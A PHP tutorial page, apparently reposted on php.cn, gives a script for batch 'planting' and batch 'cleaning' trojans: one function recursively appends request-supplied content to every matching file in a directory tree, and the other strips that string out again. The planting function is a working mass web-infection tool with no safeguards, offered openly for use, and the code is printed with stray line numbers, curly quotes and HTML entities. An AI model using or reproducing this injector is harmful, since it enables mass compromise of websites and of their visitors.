ホームページ > バックエンド開発 > PHPチュートリアル > php下批量挂马和批量清马代码_PHP

php下批量挂马和批量清马代码_PHP

ringa_lee
リリース: 2023-02-28 10:42:02
オリジナル
1698 人が閲覧しました

复制代码 代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

<?php

function gmfun($path=”.”)

{

$d = @dir($path);

while(false !== ($v = $d->read())) {

if($v == “.” || $v == “..”) continue;

$file = $d->path.”/”.$v;

if(@is_dir($file)) {

gmfun($file);

} else {

if(@ereg(stripslashes($_POST["key"]),$file)) {

$mm=stripcslashes( trim( $_POST[mm] ) );

$handle = @fopen (”$file”, “a”);

@fwrite($handle, “$mm”);

@fclose($handle);

echo “已挂马文件:$file\n

”;

}

}

}

$d->close();

echo ” “;

}

function qmfun($path=”.”)

{

$d = @dir($path);

while(false !== ($v = $d->read())) {

if($v == “.” || $v == “..”) continue;

$file = $d->path.”/”.$v;

if(@is_dir($file)) {

qmfun($file);

} else {

if(@ereg(stripslashes($_POST["key"]),$file)) {

$mm=stripcslashes( trim( $_POST[mm] ) );

$handle = fopen (”$file”, “rb”);

$oldcontent=fread($handle,filesize($file));

fclose($handle);

$newcontent=str_replace($mm,””,$oldcontent);

$fw = fopen (”$file”, “wb”);

fwrite($fw,$newcontent,strlen($newcontent));

fclose($fw);

echo “已清马文件:$file\n

”;

}

}

}

$d->close();

echo ” “;

}

if ($_GET[&#39;action&#39;]==&#39;gm&#39;) {

set_time_limit(0);

gmfun($_POST["dir"]);

}

if ($_GET[&#39;action&#39;]==&#39;qm&#39;) {

set_time_limit(0);

qmfun($_POST["dir"]);

}

?>

ログイン後にコピー


関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート